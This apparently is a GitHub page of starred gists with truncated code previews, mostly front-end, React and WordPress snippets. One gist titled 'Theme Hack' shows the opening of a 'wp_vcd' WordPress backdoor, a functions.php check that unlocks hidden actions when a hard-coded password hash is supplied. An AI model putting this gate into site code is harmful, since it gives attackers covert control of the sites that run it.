Skip to content

Instantly share code, notes, and snippets.

View EnzoEmb's full-sized avatar

Enzo EnzoEmb

View GitHub Profile
@Drafteed
Drafteed / gist:595a337a87627123bd9e01691d86840b
Created May 28, 2019 16:20
Smooth Scrollbar SoftScroll Plugin
/*!
* SmoothScrollbar SoftScroll Plugin
*
* @version 1.0.2
* @author Artem Dordzhiev (Draft)
*/
import Scrollbar from "smooth-scrollbar";
class SoftScrollPlugin extends Scrollbar.ScrollbarPlugin {
@whoisryosuke
whoisryosuke / useMousePosition.md
Created November 5, 2018 19:22
React Hooks - Track user mouse position - via: https://twitter.com/JoshWComeau

Hook

import { useState, useEffect } from "react";

const useMousePosition = () => {
  const [mousePosition, setMousePosition] = useState({ x: null, y: null });

  const updateMousePosition = ev => {
 setMousePosition({ x: ev.clientX, y: ev.clientY });
@tareq1988
tareq1988 / functions.php
Created October 31, 2018 08:45
Theme Hack
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '35c977caf96f9197995d4b4d3e14f253'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
@wcandillon
wcandillon / wallet-animation.js
Created September 3, 2018 09:28
React Native Apple Wallet Animation
import React from "react";
import {
StyleSheet,
Text,
View,
ScrollView,
Animated,
SafeAreaView,
Dimensions
} from "react-native";
@nzec
nzec / README.MD
Last active August 4, 2025 00:23
DeezLoader Offical Page

Thanks to /u/zpoo32 for reporting several issues in this list!

Deemix

  • deemix: just the cli and the library
  • deemix-pyweb: the app with a GUI
  • deemix-server: just the server part of deemix-pyweb
@wKovacs64
wKovacs64 / fixed-width-numbers.css
Created February 15, 2018 21:45
Fixed width numbers CSS
/* https://twitter.com/wesbos/status/932644812582522880/ */
font-feature-settings: "tnum";
font-variant-numeric: tabular-nums;
@woraperth
woraperth / template-functions.php (for CPT)
Last active August 1, 2024 23:46
[WordPress] Add ACF Admin Column to Custom Post Type (In this example, CPT name = events & ACF column name = event_date). This also make the column sortable.
// Add ACF Columns
function add_new_events_column($columns) {
$columns['event_date'] = 'Event Date';
return $columns;
}
add_filter('manage_events_posts_columns', 'add_new_events_column');
function add_new_events_admin_column_show_value( $column, $post_id ) {
if ($column == 'event_date') {
/*
* Function for post duplication. Dups appear as drafts. User is redirected to the edit screen
*/
function rd_duplicate_post_as_draft(){
global $wpdb;
if (! ( isset( $_GET['post']) || isset( $_POST['post']) || ( isset($_REQUEST['action']) && 'rd_duplicate_post_as_draft' == $_REQUEST['action'] ) ) ) {
wp_die('No post to duplicate has been supplied!');
}
/*
@headzoo
headzoo / DelayLink.jsx
Created July 30, 2017 19:20
Wraps the React Router Link component and creates a delay after the link is clicked.
@cferdinandi
cferdinandi / vanilla-js-plugin.js
Created June 13, 2017 00:10
My starter template for vanilla JavaScript plugins.
(function (root, factory) {
if ( typeof define === 'function' && define.amd ) {
define([], factory(root));
} else if ( typeof exports === 'object' ) {
module.exports = factory(root);
} else {
root.myPlugin = factory(root);
}
})(typeof global !== 'undefined' ? global : this.window || this.global, function (root) {